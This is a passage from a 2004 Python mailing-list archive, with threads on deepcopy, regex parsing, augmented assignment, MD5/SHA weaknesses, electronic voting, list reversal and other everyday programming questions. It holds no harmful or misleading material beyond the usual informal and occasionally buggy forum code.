class >>> | >>> | Methods defined here: >>> | >>> | __init__(self) >>>"""end output""" >> > I am running Windows 98 and do not get the deprecation warning. After > some searching I chased the problem down to the PYTHONCASEOK environment > variable, which is not defined on my system. > > Lenard Lindstrom > <len-l at telus.net> Thanks very much, Lenard, It's fixed. Rob From aleaxit at yahoo.com Fri Sep 10 02:17:44 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 10 Sep 2004 08:17:44 +0200 Subject: deepcopy raises TypeError for method/function? References: <Xns955F6FB13D97AOKB@130.133.1.4> <1gjvbxx.1am7i1jvn6ht7N%aleaxit@yahoo.com> <Xns955FCC41651BEOKB@130.133.1.4> Message-ID: <1gjw0v9.7a90vs1rz9h1pN%aleaxit@yahoo.com> OKB (not okblacke) <BrenBarn at aol.com> wrote: > Alex Martelli wrote: > > >> Does anyone have any pointers on this? It seems that > >> certain types > >> are safe to deepcopy (even if they're not actually copied) whereas > >> others are not. Do I just have to manually typecheck for > >> functions and methods? Are there any other types that might raise > >> such an error? > > > > You can use copy_reg to register an identity function as the way to > > 'copy' function and methods, if that floats your boat. And sure, > > there are other types that raise errors, imagine copying a file > > object, a socket, ...! > > Wasn't someone just saying on another thread, though, that copy > doesn't "officially" use copy_reg? Right, it was me -- I was carping about the inconsistency between [a] claiming that if something ain't in the docs it don't count, [b] telling people to look in the sources as the ultimate reference. We're doing both things, holding both contradictory stances at once, and I don't like that:-(. This one bug in the docs we'll fix, of course, but the overall strategy remains a problem. > > Anyway, I guess my real question is, is there any safe way to do > something like > > for a in someList: > b = copy.deepcopy(a) > > . . . without having to know ahead of time what kinds of objects > are in someList? I could maybe use try/except to catch failure, but if Failure is surely possible, since not all types are copyable. Yes, you can use a try/except -- but if you enter the except clause the copy won't have happened, so if you need it you're in trouble. > deepcopy fails like it did with methods, will it always throw a > TypeError, or might it raise some other kind of error? Alternatively, TypeError would be normal, but I don't think it can be guaranteed. Consider...: In [1]: class X(object): ...: def __init__(self): self.xxx = 44 ...: def __getstate__(self): return self.xx # oops ...: Here, a copy.deepcopy(X()) will end with AttributeError, because of the oops... for different kind of oopses you could surely have all kinds of errors. 'except Exception:" thus seems sounder. > is there a way to tell without actually attempting the deepcopy whether > it will be able to copy the object or not? None I can think of, sorry. Alex From madsurfer2000 at hotmail.com Sun Sep 12 16:25:34 2004 From: madsurfer2000 at hotmail.com (madsurfer2000 at hotmail.com) Date: 12 Sep 2004 13:25:34 -0700 Subject: Alternatives for the CSV module Message-ID: <ci2bbu$pt@odak26.prod.google.com> Skip Montanaro wrote: > > Well, I might disagree with you there. By all reasonable accounts, > delimited files containing multi-character delimiters are not CSV files, at > least not as operationally defined by Excel (which I mention only because > it's probably the largest producer and consumer of such files). > I agree. I should have called it delimited files. > > That's pretty generic. How about this (untested): > > ... > > The goal is of course to pick a delimiter which won't appear in the file, > hence the Ctl-A. > Thanks for the reply. I was thinking about a similar solution, and maybe that's easier than searching for other parsers. From M.Waack at gmx.de Sun Sep 19 09:12:04 2004 From: M.Waack at gmx.de (Mathias Waack) Date: Sun, 19 Sep 2004 15:12:04 +0200 Subject: Python binaries for Solaris, HP-UX References: <uk6urzzse.fsf@yahoo.co.uk> <doet12-868.ln1@valpo.de> <uisab1stx.fsf@yahoo.co.uk> <973u12-rta.ln1@valpo.de> <u3c1eqvxd.fsf@yahoo.co.uk> Message-ID: <46d022-k59.ln1@valpo.de> Paul Moore wrote: > The binary distribution is a compressed > depot file which in fact is a simple tar file or shell archive (I have no access to a HP box from home and I can't remember exactly). Thus you can unpack the depot file wherever you want, correct the directory layout and use it. Of course this works only for location independent (ie. well designed) packages. Python is one of these. Mathias From john at grulic.org.ar Fri Sep 10 13:47:27 2004 From: john at grulic.org.ar (John Lenton) Date: Fri, 10 Sep 2004 14:47:27 -0300 Subject: Using re to get data from text file In-Reply-To: <pan.2004.09.10.14.29.26.175980@yahoo.com> References: <pan.2004.09.10.14.29.26.175980@yahoo.com> Message-ID: <20040910174727.GC9380@grulic.org.ar> On Fri, Sep 10, 2004 at 10:29:27AM -0400, Jocknerd wrote: > I'm a Python newbie and I'm having trouble with Regular Expressions when > reading in a text file. Here is a sample layout of the input file: > > 09/04/2004 Virginia 44 Temple 14 > 09/04/2004 LSU 22 Oregon State 21 > 09/09/2004 Troy State 24 Missouri 14 > > As you can see, the text file contains a list of games. Each game has a > date, a winning team, the winning team's score, the losing team, and the > losing team's score. If I set up my program to import the data with fixed > length format's its no problem. But some of my text files have different > layouts. For instance, some only have one space between a team name and > their score. > > [...] > > I've tried this: > > while True: > line = file.readline () > if not line: break > game = {} > datePattern = re.compile('^(\d{2})\D+(\d{2})\D+(\d{4})') > > Here's where I get stuck. What do I do from here? I just don't know how > to import the text and assign it to the proper fields using the re module. how about this: import re, time, datetime class Game(object): def __init__(self, d, t1, t2, s1, s2): self.date = d self.team1 = t1 self.team2 = t2 self.score1 = s1 self.score2 = s2 def __str__(self): return 'On %s, %s beat %s %s-%s' % (self.date, self.team1, self.team2, self.score1, self.score2) class Games(Game): _re = re.compile(r'([\d/]+)' + r'\s+(\w[\w\s]+\w)\s+(\d+)' * 2 + r'\s*$') def __init__(self, filename): self.games = [] for line in file('games.csv'): match = re.search(self._re, line) if match: d, t1, s1, t2, s2 = match.groups() d = time.strptime(d, '%m/%d/%Y') # m/d/Y! yecch! d = datetime.date(*d[:3]) self.games.append(Game(d, t1, t2, s1, s2)) if __name__ == '__main__': import sys for i in Games(sys.argv[1]).games: print i woops! looks like I got carried away. -- John Lenton (john at grulic.org.ar) -- Random fortune: Of course you have a purpose -- to find a purpose. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: <http://mail.python.org/pipermail/python-list/attachments/20040910/d3ed24f6/attachment.sig> From albalmer at att.net Thu Sep 2 19:13:20 2004 From: albalmer at att.net (Alan Balmer) Date: Thu, 02 Sep 2004 16:13:20 -0700 Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <slrncjep0f.oa.amajorel@vulcain.knox.com> <opsdpprvxppqzri1@mjolner.upc.no> <slrncjf52a.oa.amajorel@vulcain.knox.com> <opsdp09czgpqzri1@mjolner.upc.no> Message-ID: <h0afj09mbdtleke0ughuntobho8f12o8ck@4ax.com> On Fri, 03 Sep 2004 00:40:14 +0200, "John Thingstad" <john.thingstad at chello.no> wrote: >well documented at the time. Linux Pauling started out with minix and then >went on to make a (mostly) posix compliant unix. Linux Pauling? I know about Linus Torvalds and Linus Pauling . I don't think the latter had much to do with Linux. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From mauriceling at acm.org Wed Sep 29 05:23:28 2004 From: mauriceling at acm.org (Maurice LING) Date: Wed, 29 Sep 2004 09:23:28 GMT Subject: embedding python in python Message-ID: <415a7f0b$1@news.unimelb.edu.au> Hi, anyone had any experiences in embedding python in python? I've tried to do this but it doesn't work. eval("from Tkinter import *") Thanks maurice From aleaxit at yahoo.com Mon Sep 13 03:05:04 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 13 Sep 2004 09:05:04 +0200 Subject: Newbie: tuple list confusion. References: <20040912195529.03437.00000338@mb-m27.aol.com> <fj91d.406414$gE.252547@pd7tw3no> Message-ID: <1gk1n7i.2du2ju1d38wwgN%aleaxit@yahoo.com> Elaine Jackson <elainejackson7355 at home.com> wrote: > In addition to what you've found out already, there is another difference > that, to my mind, is of paramount importance; namely, the fact that an > augmented assignment (a+=b) is actually not an assignment at all. An > actual assignment (a=a+b) binds the name "a" to a new object, while a > so-called augmented assignment mutates the object a itself. Ah, careful there: augmented assignment (nothing "so-called" about it;-) mutates the object and THEN assigns ("re-binds" if you want to get technical) the name or other slot holding the object. For example...: >>> L=[] >>> T=(L, L) >>> T[0] += [1] Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: object does not support item assignment If it were true that the += "is actually not an assignment" this behavior and error message would be impossible. It _IS_ an assignment, _augmented_ by the fact that the object in question (if mutable) is also supposed to mutate. Regarding the fact that the mutation takes place before the assignment, this is the kind of behavior details you can check by writing a simple dummy class with the appropriate special method doing a print. For example: >>> class X: ... def __iadd__(self, other): ... print 'iadd running' ... return self ... >>> T = (X(), X()) >>> T[0] += 23 iadd running Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: object does not support item assignment >>> See? First we see the message "iadd running", so __iadd__ is executing; THEN, the error message about assignment to item not being supported. This is important because the object DOES get mutated even though the assignment fails. If you check the L in the previous fragment, indeed, you'll see it's now [1], not [] any more. Yes, I do agree these subtleties are potentially confusing -- a pity, because Python's foremost strength is mostly to AVOID being confusing. But I don't believe we could have designed +='s behavior to be substantially clearer and yet just as useful as it is today, given all the rest of the details about the way Python works; and I do believe +='s usefulness is sufficient to warrant having it in Python. Alex From http Sat Sep 11 14:16:28 2004 From: http (Paul Rubin) Date: 11 Sep 2004 11:16:28 -0700 Subject: MD5 and SHA cracked/broken... References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no> Message-ID: <7xacvwn01v.fsf@ruckus.brouhaha.com> mlh at furu.idi.ntnu.no (Magnus Lie Hetland) writes: > Basically, at Crypto 2004 preliminary papers were presented that > pointed out weaknesses in MD5, SHA-0 and SHA-1. As far as I can tell, > MD5 is broken and SHA-1 seems to be in a precarious position (even > though I don't know the details at all). MD5 and SHA-0 had collisions found. The attack works against about half the rounds in SHA-1, but that's not anything to worry about unless it can be extended. I'd stop short of calling SHA-1 "precarious". > Perhaps it would be appropriate to add a note, warning or "See also" > to the library documentation for the md5 and sha modules? Yes, certainly for md5. > Does anyone understand enough crypto-speak to figure out how > problematic this all is, and what applications should be avoided? md5 should not be used in new applications. That's been known for a long time. SHA-1 is still ok. > Also -- are there any alternative one-way functions that are still > considered safe, and that could be useful as Python modules (in place > of, perhaps, md5 and sha)? There's new NIST hash functions, SHA-256, SHA-384, and SHA-512, whose output is 256, 384, or 512 bits long, respectively, instead of 160 bits for SHA-1 or 128 bits for md5. There are implementations floating around and they should probably be added to the Python library. It's most logical to just add them to the existing sha module. From ptmcg at austin.rr._bogus_.com Fri Sep 3 23:37:35 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Sat, 04 Sep 2004 03:37:35 GMT Subject: list conversion question References: <mailman.2860.1094267481.5135.python-list@python.org> Message-ID: <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com> "Kent Tenney" <kent at springfed.com> wrote in message news:mailman.2860.1094267481.5135.python-list at python.org... > Howdy, > > I am using PIL, and would like to > make a list of the pixel values > in an image, sorted by quantity of > pixels with that value. > > im.histogram() returns a list which > is a pixel count for each brightness value. > > So, I want to sort the histogram, and have > the resulting list contain > the indexes instead of the counts. > > This seems like it'd be a fairly common > task, but I don't know what to call > it to look for guidance. > > Any help is appreciated. > > Thanks, > Kent > Assuming im.histogram() returns a list like [ 0, 1, 0, 5, 43, etc. ] how about: hist = [ 0, 1, 0, 5, 43 ] values = [ i for i in enumerate(hist)] values.sort(lambda a,b: cmp(b[1],a[1])) indexes = [ a for a,b in values ] -- Paul From skip at pobox.com Wed Sep 8 11:22:39 2004 From: skip at pobox.com (Skip Montanaro) Date: Wed, 8 Sep 2004 10:22:39 -0500 Subject: %a format In-Reply-To: <20040908130837.GB4749@grulic.org.ar> References: <20040907182925.GA27643@grulic.org.ar> <16702.1779.773067.819528@montanaro.dyndns.org> <20040908130837.GB4749@grulic.org.ar> Message-ID: <16703.9151.854368.874866@montanaro.dyndns.org> John> Is there any reason python's printf-style formatting is missing John> the (C99) '%a' specifier? >> Can you provide a patch against Objects/stringobject.c in the >> distribution? Note that Python uses sprintf() to do its dirty work, >> so any patch would have to implement %a itself to remain compatible >> with C89. John> is remaining compatible with C89 a requirement? For the forseeable future I suspect so. It was only a couple years ago that ANSI C became a requirement for building CPython. Martin v. L?wis could provide a more authoritative response. Skip From elbertlev at hotmail.com Wed Sep 8 14:19:04 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 8 Sep 2004 11:19:04 -0700 Subject: Remove items from a list References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com> Message-ID: <9418be08.0409081019.7f641674@posting.google.com> "Stan Cook" <scook at elp.rr.com> wrote in message news:<ysv%c.32876$Dl4.14767 at fe2.texas.rr.com>... > I was trying to take a list of files in a directory and remove all but > the ".dbf" files. I used the following to try to remove the items, but > they would not remove. Any help would be greatly appreciated. > # Assume we want files in working directory import glob import os.path #If you want to have the list of dbf files try this: lst = glob.glob("*.dbf") print "lst = glob.glob(\"*.dbf\")" print lst # If you want to have the list of files, which do not have dbf extension: lst = [x for x in glob.glob("*.*") if os.path.splitext(x) != "dbf"] print "lst = [x for x in glob.glob(\"*.*\") if os.path.splitext(x) != \"dbf\"]" print lst From http Fri Sep 10 02:33:32 2004 From: http (Paul Rubin) Date: 09 Sep 2004 23:33:32 -0700 Subject: Electronic voting feasibility References: <chr77a$4gj@odak26.prod.google.com> Message-ID: <7xmzzyd45f.fsf@ruckus.brouhaha.com> "Greg Steffensen" <greg.steffensen at gmail.com> writes: > I'm designing a web portal for universities (a free software, by/for > students thing), and I'm considering including an electronic voting > component. The site is cute, but I'd like the internet voting > component to be close to the real deal,as well as easy to install, use > and verify. What is going to be voted on? Are you going to poll students about their favorite color of socks? Or are you going to have real elections where there is enough at stake that you have to be concerned about serious attempts to rig the polling? > Are there any technical reasons that Python would be a poor choice for > this? I have no illusions that its possible to build a perfect system, > but would Python be more vulnerable than C or Java for some reason? > I'm not a security guru, but it seems to me that the security of the > interpreter is meaningless next to the security of the os kernel (the > core of the system involves a series of nodes- election observers- > taking an encrypted package, encrypting it again, and passing it on... > the disk is never touched), so choice of language is largely arbitrary. > Is this wrong? Everything you say above is correct. > Are there reasons to choose/avoid Python? As compared with other languages, Python is as good a choice as any. But the whole concept of internet voting, at least for high-stakes elections (like, say, the US Presidential election), is fundamentally unsound and should be avoided. For lower-stakes elections it can be done reasonably securely and convincingly, if the implementers are honest, and if the voters can be persuaded to trust the implementers. From aleaxit at yahoo.com Sun Sep 5 13:27:00 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 5 Sep 2004 19:27:00 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <864d370904090413356356d84d@mail.gmail.com> References: <opsdq5katd35jo5o@news.gmane.org> <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <mailman.2838.1094223946.5135.python-list@python.org> <1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com> <864d370904090413356356d84d@mail.gmail.com> Message-ID: <CBB882B2-FF60-11D8-A6A1-000A95EFAE9E@yahoo.com> On 2004 Sep 04, at 22:35, Carlos Ribeiro wrote: ...lots of interesting things snipped to focus on one pet peeve of mine;-)...: > list (more on this later). As for reversed(), a simple idiom can be > used to return a new, reversed list: > > reverse_list = [x for x in reversed(mylist)] Or, vastly better IMHO, one could equivalently code. reversed_list = list(reversed(mylist)) I don't understand why some people want to use list comprehensions instead of simple calls to list(). I feel the latter is more readable and more concise at the same time. Moreover, I understand that worrying about such things as performance is uncouth, but, on my old-ish 12" iBook with Python 2.4 alpha 3: $ python ~/cb/timeit.py -s'r=range(1000)' 'list(reversed(r))' 10000 loops, best of 3: 99 usec per loop $ python ~/cb/timeit.py -s'r=range(1000)' '[x for x in reversed(r)]' 1000 loops, best of 3: 706 usec per loop Dunno 'bout you guys, but I can't really afford to throw away a factor of SEVEN in a perfectly ordinary task in such a fashion... > To put the question bluntly, **is there any reason to implement either > isorted() or reversed()**? The arguments (pro and against) are as > follows: > > PRO: > -- it's possible, and relatively easy to implement > -- completeness > -- consistency > -- native implementation would perform better in some cases > -- the existing idioms may not be immediately clear to the novice (see > example above) I think the existing idiom list(reversed(seq)) is perfectly clear to the novice and there would be no very significant performance gain in having one builtin doing both. isorted is a different case, not trivial for the novice to implement. However, I suspect that the use cases for isorted are typically the same as those for my own pet accumulator function (which isn't in the builtins, nor anywhere in the standard library -- so far...), top(N, seq), which IMHO should return a list (of length min(N, len(seq)) -- seq doesn't need to support len(seq) but I hope this pseudocode is clear anyway;-). I'm not sure the performance for a direct implementation of top(N, seq) can substantially beat list(itertools.islice(isorted(seq), N)), but, if I'm right in thinking that 'top' covers most use cases for isorted, then clearly it's more concise than the idiom based on isorted and islice, way clearer to novices, AND can get _at least_ marginally better performance. [[of course top, like isorted, should have the same key= and reversed= keywords as sorted and list.sort, and so should heapq even though sadly currently it doesn't, but, anyway, the assumption that reversed= is there is why I don't worry about whether we're getting the highest N _or_ the lowest N items...:-). > AGAINST: > -- just because it's possible does not means that it's a good idea > -- more bloat in the standard library > -- more builtins to pollute the namespace > -- more thing for a novice to learn > -- quoting Alex Martelli: practicality beats purity I was of course quoting Tim Peters -- try: >>> import this at any interactive Python prompt to get all of his "Zen of Python" (recommended -- Anna and I even chose it among our marriage's readings, together with Petrarca, Lucretius, Blake, and Dickinson...!-) > > Given the arguments, I agree that it's better to leave it as it is > (but changing the name of reversed() to ireversed(), as proposed on > (1)). I see your point about the name change, but: you have about 2-3 weeks' time to convince _Guido_ (once Python 2.4 is out of alpha and into beta it's too late!), and thus you should be posting on python-dev, as he doesn't read c.l.py any more -- I suggest you write up the name change part only, concisely, and post to python-dev... you do have a chance to convince him, at least if Raymond Hettinger (python's current iteration guru, inventor of both reversed and itertools and chief implementor thereof, among many other precious contribution to the last few Python versions!) sees things your way. I would suggest you traipse the python-dev archives for a few months' back before you write there, because the issue of reversed's naming WAS discussed before Raymond added it to CVS, so your thesis will be more convincing if it acknowledges and rebuts the arguments against it, too. > A sorting generator is useful IF: > > -- you know you aren't going to need the entire sorted list; > -- just a few elements will do. > > A particular situation is where you don't know in advance exactly how > many elements you need; in this case, a sorting generator is probably > the best approach. If you have a reasonably tight upper bound on the number of elements you may need, 'top' will still beat 'isorted'. I can't think of a use case where I would NOT have such a bound -- can you suggest some? > My best bet, now, is writing a cookbook solution to implement a > "pseudo-sort-generator" using the heapq library. It's a good proof of > concept, and may help to illuminate the question with a practical > tool. We _do_ have one, by the way: <recipe id="280501"> <title>Lazy sorting Matteo Dell'Amico 2004/05/03 ...(rest snipped, look it up for yourself;-)... > > > p.s.: > > [Alex Martelli] >> If you hadn't responded publically I'd never would have >> got a chance to object, so of course I don't mind!-) > > It's always a pleasure to have you participating, even after you have > effectively killed most of my arguments :-) I just feel honored ;-) Why, thanks! The one argument I can't "kill" is the one for ireversed as a better name than reversed; I don't know if you're right or wrong, your arguments make sense to me but so do the counter-arguments that were hashed forever on python-dev months ago... Alex From nospam at [127.0.0.1] Fri Sep 24 14:52:36 2004 From: nospam at [127.0.0.1] (Chris) Date: Fri, 24 Sep 2004 19:52:36 +0100 Subject: Drawing sound Message-ID: I want a program that can "draw" sound. Imagine drawing a graph of frequency against time - and then being able to play it over the computer speakers. Can this be done in Python? As a start, consider this simple QBASIC program that generates random frequencies: 10 frequency = 40 + 400 * RND 20 SOUND frequency, 7 30 GOTO 10 That's fine - except that it plays over the PC speaker - the one that's just there for the happy beep - and not through the sound card and proper speakers. Can that be done in Python? Or in any other language? -- Chris From bgabriel at cloudthunder.com Wed Sep 29 15:53:30 2004 From: bgabriel at cloudthunder.com (Bishara Gabriel) Date: Wed, 29 Sep 2004 15:53:30 -0400 Subject: Social Analysis and Modeling for Python In-Reply-To: References: Message-ID: <415B12BA.9050100@cloudthunder.com> Marxian class analysis is particularly suited to this demonstration but in our demonstration model we will operate from multiple theoretical constructs, displaying the power of our method. The intent is to show how Python is well suited to social analysis and not the other way around. I hope this is clear. What particular realms are you referring to when you speak of adding value? Your feedback is much appreciated, thank you. Sincerely, Bishara Gabriel >I am sure Python can be a great tool, but why no citations re existing >"social models" that you mention? If you propose to "... show >how social models can be mentally approached in such a way that there >exists a one-to-one correlation between their theoretical model and the >Python equivalent," ISTM your proposal would sound more concrete if you >pointed to a specific "theoretical model" as your choice for a >how-to-do-it-with-Python demonstration. > >Also citations of related work, and why your project adds value (besides >advertising our favorite language ;-) > >Regards, >Bengt Richter > > From exarkun at divmod.com Sun Sep 19 15:47:04 2004 From: exarkun at divmod.com (exarkun at divmod.com) Date: Sun, 19 Sep 2004 19:47:04 GMT Subject: Documentation? file/open with tea In-Reply-To: <20040919114037.208539021.whereU@now.com> Message-ID: <20040919194704.29723.1956543404.divmod.quotient.3636@ohm> On Sun, 19 Sep 2004 11:40:37 -0800, "Eric Pederson" wrote: >WryPyY's- > > I've come across this file operation in others' code and have not seen any = > documentation for it: the use of "t" in the mode of file opening, such as: > > f1=3Dopen(somefile, 'at') > f2=3Dopen(otherfile, 'rt') > > [to be clear, I am talking about 't' tea, not '+' plus] > > Is this merely another shorthand for a binary mode, or is there more going = > on with 't'? 't' is the opposite of 'b'. It's short for "text". It is also the default, so the above could be rewritten as open(somefile, 'a') or open(otherfile, 'r') with no change in meaning. Jp From anna at aleax.it Sun Sep 26 08:17:46 2004 From: anna at aleax.it (Anna Martelli Ravenscroft) Date: Sun, 26 Sep 2004 12:17:46 GMT Subject: Math errors in python In-Reply-To: <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com> References: <70b3d.1822$uz1.747@trndny03> <7xfz5ein0h.fsf@ruckus.brouhaha.com> <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com> Message-ID: Note: I posted a response yesterday, but it apparently never appeared (I was having some trouble with my newsreader) so I'm posting this now. My apologies if it is a duplicate. Alex Martelli wrote: > Paul Rubin wrote: > ... > >>The issue here is that Python's behavior confuses the hell out of some >>new users. There is a separate area of confusion, that >> >> a = 2 / 3 >> >>sets a to 0, and to clear that up, the // operator was introduced and >>Python 3.0 will supposedly treat / as floating-point division even >>when both operands are integers. That doesn't solve the also very >>common confusion that (1.0/3.0)*3.0 = 0.99999999. Rational arithmetic >>can solve that. > > > Yes, but applying rational arithmetic by default might slow some > computations far too much for beginners' liking! My favourite for > Python 3.0 would be to have decimals by default, with special notations > to request floats and rationals (say '1/3r' for a rational, '1/3f' for a > float, '1/3' or '1/3d' for a decimal with some default parameters such > as number of digits). This is because my guess is that most naive users > would _expect_ decimals by default... I agree. Naive (eg, non-CS, non-Mathemetician/Engineer) users who grew up with calculators and standard math courses in school may have never even heard of floats! (I made it as far as Calculus 2 in college, but still had never heard of them.) This brings me to another issue. Often c.l.py folks seem surprised that people don't RTFM about floats before they ask about why their math calculations aren't working. Most of the folks asking have no idea they are *doing* float arithmetic, so when they try to google for the answer, or look in the docs for the answer, and skip right past the "Float Arithmetic" section of the FAQ and the Tutorial, it's because they're not DOING float arithmetic - that they know of... So, of course they won't read those sections to look for their answer, any more than they'd read the Complex Number calculations section... People who know about floats con't need that section - the ones who do need it, con't know they need it. If you want people to find those sections when they are looking for answers to why their math calculations aren't working - I suggest you remove the "FLOAT" from the title. Something in the FAQ like: "Why are my math calculations giving weird or unexpected results?" would attract a lot more of the people you WANT to read it. Once you've roped them in, *then* you can explain to them about floats... Anna Martelli Ravenscroft From nhodgson at bigpond.net.au Sat Sep 11 06:36:09 2004 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Sat, 11 Sep 2004 10:36:09 GMT Subject: scripting a web site w/Javascript References: <41420050$1@news.vo.lu> Message-ID: Patrick Useldinger: > I would like to script a specific website. I've had a start with > httplib, but now I need to push a button () that > triggers a Javascript function and then directs to some URL. Obviously, > I cannot just go to the URL because the function would not get executed. > > Can something like this be done via httplib? If not, is there a library > available to do it? http://wwwsearch.sourceforge.net/DOMForm/ The JavaScript didn't work out for me a few months ago but the other libraries available from this site helped write some tools for testing a web site. Neil From peter at engcorp.com Wed Sep 22 22:41:05 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 22 Sep 2004 22:41:05 -0400 Subject: newby poject In-Reply-To: <41523005$1@dnews.tpgi.com.au> References: <41523005$1@dnews.tpgi.com.au> Message-ID: dit wrote: > I want to start something small, like a learning program. I've been > looking and learning python for about 4 months; and I think that I have > the basics under my belt... is it worth trying my own project, or is it > better to continue with the py tutes? After four months you should definitely be trying to build something rather than just going through tutorials. There's a difference between the sort of "passive" learning you get from a tutorial, even an interactive one, and what you'll learn by actively attempting to accomplish something. (And I use the word "attempting" deliberately. It's often the case that the first few projects someone undertakes don't ever actually get anywhere, but they're worthwhile nonetheless just for the active learning you'll get out of them.) > Also if I was to start, how do I pose myself the question of what am I > actually trying to achieve / what am I trying to make? The usual response is something along the lines of "what problems do you have that you would like to try to solve using your computer?" Some people want to organize their [insert favourite collectible here]. Others want to create a game, though what "problem" that solves is uncertain. Take a look through any site like SourceForge and you'll discover the wide array of possibilities, many of them with eighteen simultaneous attempts to accomplish the same goals... By the way, there's a possible "in between" stage that you might not have considered, after doing tutorials and before attempting your own project. Take the source code for some existing program and figure out how to munge it to add a feature, fix a problem, or just mess with it. Doing this with games ("Star Trek" in BASIC, for example) was how I learned more after reading a few books long ago. If you wanted to learn more about wxPython and GUI programming, for example, you could hack on the wxPython Demo program and change the way things work. Not only will you learn a number of the same things you would learn trying to write something on your own, but you will also learn about a variety of programming styles (some good, some bad) and about code maintenance. If you learn the right things by trying to maintain someone else's code, you will someday be the sort of programmer whose code is seen as a model of clarity and elegance, because you'll know just how *bad* code can be when it's written poorly! Never pass up the opportunity to learn from another's code. It's also not quite as disheartening to toy around this way with an existing program, and ultimately accomplish little, than it is to undertake your "first big project" only to find, as many of us have, that for various reasons it doesn't get far. Maybe others have had different experiences, but I found it somewhat disturbing how often my early attempts failed to be finished, until I learned more about the realities of software development, and became well-rounded enough that I had a hope of getting most of the way through a project. -Peter From abkhd at earth.co.jp Mon Sep 13 16:52:36 2004 From: abkhd at earth.co.jp (A. B., Khalid) Date: 13 Sep 2004 13:52:36 -0700 Subject: Sample distutil setup.py script that uses SWIG and C++? References: <283adf56.0409130434.2ae0ba73@posting.google.com> Message-ID: <8ad8ad0a.0409131252.59881a85@posting.google.com> kdahlhaus at yahoo.com (Kevin Dahlhausen) wrote in message news:<283adf56.0409130434.2ae0ba73 at posting.google.com>... > Could anyone post a simple setup.py script that uses a SWIG interface > to C++ code and the mingw compiler? > > I followed some online samples, and am using the setup.cfg file to > specify swig-c++=1. > > Trying to build using mingw out of the cygwin environment but the > final call to link the extension calls directly to 'cc' which I think > should really be g++ at that point. > > Did get everything to build with a Makefile, but that's not the right > way to go. Maybe my pyMinGW can help you. Though still not 100% done, pyMinGW includes a patch to distutils so as (among other things) to fix that which you ask about. Read about pyMinGW here: http://jove.prohosting.com/iwave/ipython/pyMinGW.html There is also a CPP-Swig example found in the Mingw\extensions directory of both py24a3MinGW-004a.zip, and py234MinGW-015.zip. Before you do anything, please backup the following files: [1] Lib/distutils/ccompiler.py [2] Lib/distutils/cygwinccompiler.py [3] Lib/distutils/unixccompiler.py [4] Lib/distutils/command/build_ext.py in case you don't like the patch, and would like to restore your distutils to its original state. Once you've done that then you can replace those four files with the ones in the patch. Hopefully that'll do it for you. -- Q. The purpose of life? [A]: "I created the jinn and humankind only that they might worship Me." (Translation, Qur'an, 51:56) [B]: "Let us hear the conclusion of the whole matter: Fear God, and keep his commandments: for this is the whole duty of man." (KJV, Ecclesiastes 12:13) From jzgoda at gazeta.usun.pl Sat Sep 25 14:21:04 2004 From: jzgoda at gazeta.usun.pl (Jarek Zgoda) Date: Sat, 25 Sep 2004 18:21:04 +0000 (UTC) Subject: Access to MS SQL from Linux? References: Message-ID: A. Lloyd Flanagan pisze: >> > Is there any Python library for accessing MS SQL server >> > from a Linux machine? Either open source or commerical one will do for me. > > I would think the ODBC driver would be the first choice. ODBC is > Microsoft's spec, they generally support it pretty thoroughly. You > could check out the Win32 stuff and use COM to talk to an ADO server, > if you felt really ambitious. ODBC definitely is not a Microsoft spec (it was produced in early 90's by SQL Access Group, now part of X/Open, see http://www.rdg.opengroup.org/public/news/nov95/sqlaccgp.htm). OLEDB is. -- Jarek Zgoda http://jpa.berlios.de/ | http://www.zgodowie.org/ From bokr at oz.net Sat Sep 4 19:16:27 2004 From: bokr at oz.net (Bengt Richter) Date: 4 Sep 2004 23:16:27 GMT Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> <4139FCDA.8020601@jessikat.fsnet.co.uk> Message-ID: On 4 Sep 2004 21:02:46 GMT, bokr at oz.net (Bengt Richter) wrote: >On Sat, 04 Sep 2004 18:35:22 +0100, Robin Becker wrote: [...] >> >>wow! my litle chomsky :) >> I was curious, so I googled for "CHOMSKY is an aid to writing linguistic papers in the style" and found the lisp source: http://www-personal.umich.edu/~jlawler/foggy.lsp and backed up to the home page below that and found a faq: http://www-personal.umich.edu/~jlawler/foggy.faq.html Also a web implementation where you can get all the wisdom you want: http://www.daydream.org.uk/meng/eChomsky/ (other interesting links too, if human language interests you ;-) Regards, Bengt Richter From michele.simionato at gmail.com Tue Sep 28 04:42:17 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 28 Sep 2004 01:42:17 -0700 Subject: Metaclass to make all methods of a class thread-safe References: <415728eb$0$78753$e4fe514c@news.xs4all.nl> <4edc17eb.0409270141.4faf130c@posting.google.com> <41586889$0$568$e4fe514c@news.xs4all.nl> Message-ID: <4edc17eb.0409280042.5709f6ab@posting.google.com> Irmen de Jong wrote in message news:<41586889$0$568$e4fe514c at news.xs4all.nl>... > Built-in methods such as? This is instructive: >>> class C(object): pass ... >>> for attr in dir(C): print attr, 